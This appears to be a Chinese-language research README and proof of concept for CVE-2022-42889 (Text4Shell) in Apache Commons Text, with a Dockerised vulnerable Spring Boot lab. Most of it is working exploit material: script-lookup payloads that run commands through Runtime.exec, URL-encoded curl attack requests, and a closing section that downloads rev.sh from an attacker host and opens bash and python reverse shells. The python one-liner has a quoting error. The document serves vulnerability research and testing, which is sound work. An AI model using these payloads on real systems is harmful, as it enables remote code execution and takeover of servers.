
CVE-2022-42889 又名 Text4Shell 研究与 PoC
针对最近由 @pwntester 发现的 Apache Commons Text 漏洞 的概念验证(PoC):
正如 https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/ 中所述:
该漏洞存在于 StringSubstitutor 插值器对象中。插值器由
StringSubstitutor.createInterpolator()方法创建,并允许按StringLookupFactory中定义的字符串查找。这可以通过传递一个格式为${prefix:name}的字符串来利用,其中 prefix 是上述查找。使用 "script"、"dns" 或 "url" 查找将允许在将字符串传递给插值器对象时执行任意脚本。
受影响的 Apache Commons Text 版本为 1.5 至 1.9。 该漏洞已在 1.10 版本中修复。
要实现远程利用,攻击者控制的输入必须用作 StringSubstitutor 插值器的输入。具体体现在 StringSubstitutor.replace() 或 StringSubstitutor.replaceIn() 方法中。
自 JDK 15 起,Nashorn JavaScript 引擎已被移除:https://openjdk.org/jeps/372。 但如果包含第三方依赖(如 JEXL),Apache Commons Text 中仍可能发生 RCE(https://twitter.com/pwntester/status/1582321752566161409)。
可用于获得 RCE。
Nashorn 引擎:
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
如果使用第三方 JEXL:
${script:JEXL:''.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/pwned')}
可导致 DNS 查找:
${dns:address|commons.apache.org}
连接到指定的 URL 并尝试获取内容:
${url:UTF-8:https://nvd.nist.gov/vuln/detail/CVE-2022-42889}
mvn clean package -DskipTests
java -jar spring-boot-0.0.1-SNAPSHOT.jar
sudo docker build -t text4shell . -f Dockerfile.Java11
sudo docker run -p 8080:8080 text4shell
sudo docker build -t text4shell . -f Dockerfile.Java19
sudo docker run -p 8080:8080 text4shell
以下是测试上述不同攻击向量的各个端点。

curl http://localhost:8080/poc1


curl http://localhost:8080/poc2


curl http://localhost:8080/poc3

curl http://localhost:8080/message
curl http://localhost:8080/message?text=1

使用 Nashorn:
curl http://localhost:8080/message?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27touch%20%2Ftmp%2Ffoo%27)%7D

使用 JEXL:
curl http://localhost:8080/message?text=%24%7Bscript%3AJEXL%3A%27%27.getClass().forName(%27java.lang.Runtime%27).getRuntime().exec(%27touch%20%2Ftmp%2Fpwned%27)%7D


为简单起见,我使用默认的 Docker 接口进行 netcat 监听。经过摸索,我整理出以下使用 bash 和 python 反弹 shell 的有效载荷,均正常工作:
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://172.17.0.1:3333/rev.sh -o /tmp/rev.sh')}
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}
其中 rev.sh 可能包含以下内容:
bash -i >& /dev/tcp/172.17.0.1/5555 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

